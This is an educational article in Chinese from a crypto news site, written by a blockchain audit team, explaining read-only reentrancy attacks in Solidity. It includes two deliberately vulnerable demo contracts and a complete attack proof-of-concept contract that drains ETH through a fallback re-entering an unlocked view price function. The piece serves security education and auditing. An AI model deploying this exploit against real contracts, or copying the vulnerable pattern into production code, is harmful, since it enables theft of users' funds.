Menu

  • Home
  • Trending
  • Recommended
  • Latest

分類

  • #2021 新年特輯
  • 100天區塊鏈挑戰
  • 2019 台灣區塊鏈產業指南
  • 2020 台灣區塊鏈產業年鑑
  • 2022 台灣年度最影響力人物榜
  • 2023 台灣年度影響力人物榜
  • 2023 新春特輯
  • 2024 TON Hacker House
  • 2024新春特輯
  • ABS 2018 專題報導
  • AI
  • CBDC是什麼?為何全球都在積極研究、有什麼優點與隱憂
  • Cefi
  • dao
  • dApps
  • defi
  • DePIN 如何開啟去中心化物理網路革命?
  • Entertainment
  • EOS
  • EOS insights
  • Gaming
  • Howto & Style
  • ICO
  • JiaJia
  • Layer 2
  • Libra
  • Movie
  • Music
  • News
  • nft
  • Plurality 多元宇宙
  • Starknet 空投落地,後續帶來什麼影響?
  • TON的崛起之路》背靠 Telegram 如何實現 Web3 大規模應用?
  • Uncategorized
  • Web3.0
  • 中國
  • 亞太
  • 交易所
  • 人物專訪
  • 以太坊
  • 以太坊
  • 以太坊 Dencun 坎昆升級將臨,你需要知道的所有事
  • 以太坊再質押協議為何成為最熱門賽道?
  • 供應鏈
  • 保險
  • 債券
  • 元宇宙
  • 全台最大詐騙案!Ace交易所涉垃圾幣詐騙
  • 全球加密貨幣監管最新動態統整
  • 其他國家
  • 其他幣別
  • 分散式帳本技術
  • 創投
  • 加密貨幣「詐騙手法」整理,學習如何保護你的資產
  • 加密貨幣市場
  • 區塊鏈平台
  • 區塊鏈新手全攻略,你需要知道的加密貨幣基礎
  • 區塊鏈新手教學
  • 區塊鏈活動
  • 區鍵禧
  • 即時新聞
  • 台灣
  • 哈希派
  • 國際組織報告
  • 多元宇宙Plurality有多重要?未來20年人類躍進關鍵
  • 央行
  • 娛樂平台
  • 安全
  • 專欄作者
  • 巴拉區塊事
  • 市場分析
  • 幣安與美國司法部達成 43 億美元和解,CZ認罪
  • 影片測試的分類
  • 快訊
  • 技術
  • 抓住空投爆擊!值得埋伏的項目、互動教學總整理
  • 投資分析
  • 挖礦
  • 推薦閱讀
  • 搶先看
  • 支付
  • 政府報告
  • 數位產權
  • 數據報告
  • 概念
  • 歐洲
  • 比特幣
  • 比特幣現貨ETF上市,真帶來了增量資金?
  • 比特幣第四次減半將臨,行情怎麼走?
  • 比特幣銘文大爆發,Oridinal 如何改變 BTC 生態?
  • 比特彭
  • 汪彪
  • 法規
  • 測試網
  • 灰度
  • 物聯網
  • 犯罪
  • 獨立觀點
  • 瑞波
  • 環境永續
  • 社交
  • 私人機構報告
  • 稅務
  • 穩定幣
  • 管制
  • 美國
  • 肺炎
  • 能源
  • 訴訟
  • 評級報告
  • 財金哥 & 區塊妹
  • 身份驗證
  • 遊戲
  • 鄧庶杭
  • 金融市場
  • 銀行
  • 錢包

Subscriptions

  • 零壹財經 01 binary
    01 Binary
  • 0xdt
  • 0xJigglypuff
  • aaaaYYYY
  • ABCDELabs

Recent News

  • 圖解多元宇宙》V神、Glen力推的Plurality是什麼?為何協作技術是人類社會進步關鍵
  • 精選文章搶先看!動區登入Access質押訂閱服務,解鎖寶貴資訊快人一步
  • ABS獨家專訪》Gitcoin共同創辦人Scott:台灣是現實與Web3治理的重要交匯點
動區動趨-最具影響力的區塊鏈新聞媒體
  • Home
    • Home Layout 1
    • Home Layout 2
    • Home Layout 3
  • Browse
    • News
    • Movie
    • Music
    • Technology
    • Howto & Style
    • Entertainment
    • Gaming
  • Features
    • Youtube Video
    • Vimeo Video
    • Dailymotion Video
    • Self-hosted Video
    • User Profile
    • Playlists
    • User-created Playlist
    • Favorite Playlist (Private)
    • Watch Later Playlist (Private)
    • All JNews Features
No Result
View All Result
  • Login
  • Register
UPLOAD
動區動趨-最具影響力的區塊鏈新聞媒體
No Result
View All Result
Home 專欄作者

區塊鏈漏洞》難以防範的「只讀重入攻擊」是什麼?

Beosin區塊鏈安全審計 by Beosin區塊鏈安全審計
2023-08-11
in 專欄作者, 犯罪
697 7
0
區塊鏈漏洞》難以防範的「只讀重入攻擊」是什麼?

圖源:Reuters

968
SHARES
4.4k
VIEWS
Share on FacebookShare on Twitter

區塊鏈生態近期發生多起重入攻擊事件,這些攻擊事件並不像之前認識的重入漏洞,而是在項目存在重入鎖的情況下發生的只讀重入攻擊。今天的安全審計必備知識,Beosin 安全研究團隊將為大家講解什麼是「只讀重入攻擊」。
(前情提要:盜取加密資產「又歸還」成趨勢?一窺項目方如何與駭客鏈上談判)
(背景補充:觀點》幣圈兩大毒瘤:北韓駭客和美國SEC主席)

本文目錄

  • RelatedPosts
  • 23歲替代役男涉「暗網販毒」四年交易額破30億,遭美FBI逮捕面臨終身監禁!外交部證實
  • 鏈遊Gala Games遭駭!增發50億枚GALA砸盤,幣價一度暴跌20%
  • 幣圈最大龐氏騙局》BitConnect澳洲發起人John Bigatton認罪,最高監禁47年
  • 哪些情況會導致重入漏洞風險?
  • 難以防範的「只讀重入」是什麼?
  • 程式碼原理分析
  • Beosin 安全建議

 

RelatedPosts

23歲替代役男涉「暗網販毒」四年交易額破30億,遭美FBI逮捕面臨終身監禁!外交部證實

鏈遊Gala Games遭駭!增發50億枚GALA砸盤,幣價一度暴跌20%

幣圈最大龐氏騙局》BitConnect澳洲發起人John Bigatton認罪,最高監禁47年

近期,區塊鏈生態中發生了多起 重入攻擊事件, 這些攻擊事件並不像我們之前認識的重入漏洞,而是在專案 存在重入鎖的情況下發生的只讀重入攻擊。

今天的安全審計必備知識,Beosin 安全研究團隊將為大家講解什麼是「只讀重入攻擊」。

哪些情況會導致重入漏洞風險?

在 Solidity 智慧合約程式設計過程中,允許一個智慧合約呼叫另一個智慧合約的程式碼。在很多專案的業務設計中,需要給某個地址傳送 ETH,但如果 ETH 接收地址是智慧合約的話,會呼叫智慧合約的 fallback 函式。 如果惡意使用者在合約的 fallback 函式中寫入精心設計的程式碼,就可能存在重入漏洞的風險。

攻擊者可以在惡意合約的 fallback 函式中重新發起對專案合約的呼叫,此時第一次呼叫過程還沒結束,部分變數還未更改,這種情況下進行第二次呼叫,會導致專案合約使用異常的變數進行相關計算或者使得攻擊者可以繞過一些檢查限制。

換而言之,重入漏洞的根本在於執行轉帳後並呼叫目標合約的某個介面,並且帳本的改變在呼叫目標合約之後導致檢查被繞過,也就是沒嚴格按照檢查 – 生效 – 互動模式設計。因此除了以太坊轉帳會導致重入漏洞,一些設計不當也會導致重入攻擊,例如以下示例:

1、呼叫可控的外部函式會導致可重入可能

2、ERC721/1155 安全相關函式會導致重入可能

目前重入攻擊是一個常見的漏洞,大部分割槽塊鏈專案開發人員也能意識到重入攻擊的危害,專案中基本都設定了重入鎖,使得在呼叫某個擁有重入鎖的函式過程中,無法再次呼叫擁有同樣重入鎖的任何函式。 雖然重入鎖可以有效的防止上述的重入攻擊,但是還有一種叫做「只讀型重入」的攻擊方式卻難以防範。

難以防範的「只讀重入」是什麼?

上述我們介紹了常見重入型別,其核心在於重入之後使用異常的狀態計算新狀態,從而導致狀態更新異常。那如果我們呼叫的函式是 view 修飾的只讀型函式,函式中並不會有任何的狀態修改,該函式呼叫之後,並不會對本合約造成任何影響。所以,這類函式專案開發者都不會太在意其重入的風險,並不會為其新增重入鎖。

雖然重入 view 修飾的函式基本不會對本合約造成影響, 但是還有另外一種情況是某個合約會呼叫其他合約的 view 函式作為資料依賴,而該合約的 view 函式並未新增重入鎖,那麼則可能導致只讀重入的風險。

例如一個專案 A 合約中可以質押代幣和提取代幣,並且根據合約憑證代幣總量與質押總量提供查詢價格的功能,質押代幣與提取代幣之間存在重入鎖,查詢功能不存在重入鎖。現有另一個專案 B,提供質押提取的功能,質押與提取之間存在重入鎖,質押提取函式均依賴於專案 A 的價格查詢功能進行憑證代幣的計算。

上述兩個專案之間存在只讀重入風險,如下圖:

1、攻擊者在 ContractA 中質押並提取代幣。

2、提取代幣會呼叫到攻擊者合約 fallback 函式。

3、攻擊者在合約中再次呼叫 ContractB 中的質押函式。

4、質押函式會呼叫 ContractA 的價格計算函式,此時 ContractA 合約的狀態並未更新,導致計算價格錯誤,計算出更多的憑證代幣傳送給攻擊者。

5、重入結束後,ContractA 的狀態更新。

6、最後攻擊者呼叫 ContractB 提取代幣。

7、此時 ContractB 獲取的資料已經是更新的,能提取更多的代幣。

程式碼原理分析

我們以如下 demo 為例進行只讀重入問題的講解,下文僅僅是測試程式碼,無真實業務邏輯,只作為研究只讀重入的參考。

編寫 ContractA 合約:

pragma solidity ^0.8.21;

contract ContractA {

uint256 private _totalSupply;

uint256 private _allstake;

mapping (address => uint256) public _balances;

bool check=true;

/**

* 重入鎖。

**/

modifier noreentrancy(){

require(check);

check=false;

_;

check=true;

}

constructor(){

}

/**

* 根據合約憑證幣總量與質押量計算質押價值,10e8 為精度處理。

**/

function get_price() public view virtual returns (uint256) {

if(_totalSupply==0||_allstake==0) return 10e8;

return _totalSupply*10e8/_allstake;

}

/**

* 使用者質押,增加質押量並提供憑證幣。

**/

function deposit() public payable noreentrancy(){

uint256 mintamount=msg.value*get_price()/10e8;

_allstake+=msg.value;

_balances[msg.sender]+=mintamount;

_totalSupply+=mintamount;

}

/**

* 使用者提取,減少質押量並銷燬憑證幣總量。

**/

function withdraw(uint256 burnamount) public noreentrancy(){

uint256 sendamount=burnamount*10e8/get_price();

_allstake-=sendamount;

payable(msg.sender).call{value:sendamount}(“”);

_balances[msg.sender]-=burnamount;

_totalSupply-=burnamount;

}

}

部署 ContractA 合約並質押 50ETH,模擬專案已經處於執行狀態。

編寫 ContractB 合約(依賴 ContractA 合約 get_price 函式):

pragma solidity ^0.8.21;

interface ContractA {

function get_price() external view returns (uint256);

}

contract ContractB {

ContractA contract_a;

mapping (address => uint256) private _balances;

bool check=true;

modifier noreentrancy(){

require(check);

check=false;

_;

check=true;

}

constructor(){

}

function setcontracta(address addr) public {

contract_a = ContractA(addr);

}

/**

* 質押代幣,根據 ContractA 合約的 get_price () 來計算質押代幣的價值,計算出憑證代幣的數量

**/

function depositFunds() public payable noreentrancy(){

uint256 mintamount=msg.value*contract_a.get_price()/10e8;

_balances[msg.sender]+=mintamount;

}

/**

* 提取代幣,根據 ContractA 合約的 get_price () 來計算憑證代幣的價值,計算出提取代幣的數量

**/

function withdrawFunds(uint256 burnamount) public payable noreentrancy(){

_balances[msg.sender]-=burnamount;

uint256 amount=burnamount*10e8/contract_a.get_price();

msg.sender.call{value:amount}(“”);

}

function balanceof(address acount)public view returns (uint256){

return _balances[acount];

}

}

部署 ContractB 合約設定 ContractA 地址,並質押 30ETH,同樣模擬專案已經處於執行狀態。

編寫攻擊 POC 合約:

pragma solidity ^0.8.21;

interface ContractA {

function deposit() external payable;

function withdraw(uint256 amount) external;

}

interface ContractB {

function depositFunds() external payable;

function withdrawFunds(uint256 amount) external;

function balanceof(address acount)external view returns (uint256);

}

contract POC {

ContractA contract_a;

ContractB contract_b;

address payable _owner;

uint flag=0;

uint256 depositamount=30 ether;

constructor() payable{

_owner=payable(msg.sender);

}

function setaddr(address _contracta,address _contractb) public {

contract_a=ContractA(_contracta);

contract_b=ContractB(_contractb);

}

/**

* 攻擊開始呼叫的函式,新增流動性、移除流動性、最後提取代幣。

**/

function start(uint256 amount)public {

contract_a.deposit{value:amount}();

contract_a.withdraw(amount);

contract_b.withdrawFunds(contract_b.balanceof(address(this)));

}

/**

* 重入中呼叫的質押函式。

**/

function deposit()internal {

contract_b.depositFunds{value:depositamount}();

}

/**

* 攻擊結束後,提取 ETH。

**/

function getEther() public {

_owner.transfer(address(this).balance);

}

/**

* 回撥函式,重入關鍵。

**/

fallback()payable external {

if(msg.sender==address(contract_a)){

deposit();

}

}

}

換一個 EOA 帳戶進行攻擊合約的部署轉入 50ETH,設定 ContractA 與 ContractB 地址。

向 start 函式中傳入 50000000000000000000 (50*10^18) 並執行,發現 ContractB 的 30ETH 被 POC 合約轉移走了。

再次呼叫 getEther 函式,攻擊者地址獲利 30ETH。

程式碼呼叫過程分析:

start 函式首先呼叫 ContractA 合約 deposit 函式抵押 ETH,攻擊者傳入 50*10^18,加上最開始合約擁有的 50*10^18,此時,_allstake 和_totalSupply 都是 100*10^18。

接下來呼叫 ContractA 合約 withdraw 函式提取代幣,合約會先更新_allstake,並將 50 個 ETH 傳送給攻擊合約,此時會呼叫到攻擊合約的 fallback 函式,最後再更新_totalSupply。

在 fallback 函式中攻擊合約呼叫 ContractB 合約質押 30 個 ETH,由於 get_price 為 view 函式,所以這裡 ContractB 合約成功重入了 ContractA 的 get_price 函式,此時由於還未更新_totalSupply,依舊為 100*10^18,但_allstake 已經減小到 50*10^18,所以這裡返回的值將擴大 2 倍。會給攻擊合約增加 60*10^18 的憑證幣。

重入結束後,攻擊合約呼叫 ContractB 合約提取 ETH,此時_totalSupply 已經更新成 50*10^18,將計算出與憑證幣相同數量的 ETH。給攻擊合約轉移了 60ETH。最終攻擊者獲利 30ETH。

Beosin 安全建議

對於上面的安全問題,Beosin 安全團隊建議: 對於需要依賴其他專案作為資料支撐的專案,應該嚴格檢查依賴專案與自身專案相結合後的業務邏輯安全性。在兩個專案單看均沒有問題的情況下,結合後便可能出現嚴重的安全問題。

📍相關報導📍

Curve 拆彈成功?官方開放「懸賞駭客」,提供證據獎金達185萬鎂

12萬比特幣枚竊案真相》紐約洗錢夫婦承認是攻擊Bitfinex駭客

如果駭客偷走所有的比特幣,你願意付出五年追兇嗎?

Tags: Beosin只讀重入攻擊重入漏洞

Recommended videos

1:55:37

Another director leaves the Uncharted movie

2.5k Views
2024-07-30
    5:31

    When We Finally Find Aliens, They Might Smell Terrible

    2.5k Views
    2024-07-15
      13:20

      How Would You Dress If You Weren’t Online?

      2.5k Views
      2024-06-21
        2:25

        Why Joker’s depiction of mental illness is dangerously misinformed

        2.5k Views
        2024-06-29
          Show More
          Copyright (c) 2019 by Jegtheme.
          • About
          • Buy JNews
          • Request A Demo
          • Contact
          No Result
          View All Result
          • Account
          • BlockTempo Beginner – 動區新手村
          • Change Password
          • Forgot Password?
          • Home 1
          • Home 2
          • Home 3
          • Jin-homepage
          • Latest
          • Login
          • Profile
          • Register
          • Reset Password
          • Trending
          • Users
          • Users List Item
          • 不只加密貨幣,談談那些你不知道的區塊鏈應用|動區新手村
          • 所有文章
          • 關於 BlockTempo

          © 2025 JNews - Premium WordPress news & magazine theme by Jegtheme.

          Welcome Back!

          Login to your account below

          Forgotten Password? Sign Up

          Create New Account!

          Fill the forms below to register

          All fields are required. Log In

          Retrieve your password

          Please enter your username or email address to reset your password.

          Log In

          Add New Playlist